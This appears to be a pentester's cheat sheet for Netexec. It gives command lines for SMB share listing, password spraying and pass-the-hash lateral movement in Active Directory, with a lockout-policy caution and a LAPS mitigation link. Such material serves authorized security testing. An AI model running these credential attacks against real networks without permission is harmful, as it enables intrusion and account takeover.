Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks. It’s a network exploitation tool that helps automate assessing the security of large networks by providing tactics and techniques for testing security controls in an Active Directory environment.
# List available sharesnetexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares
Password Spraying
Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.
# Check netexec -h for services# Password spraying (many users vs 1 password)netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'# Local authentication (tries local authentication instead of domain authentication)# Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overviewnetexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'
Pass the Hash (PtH)
Netexec supports pass-the-hash attacks for lateral movement:
# Target can also be a subnet (CIDR)# -d . = Local Account | -d <DOMAIN> = Domain Account# --local-auth forces local check if implied domain fails# :<PASS_HASH> implies empty LM hash (LM:NT)netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth
# Domain account with hashnetexec smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>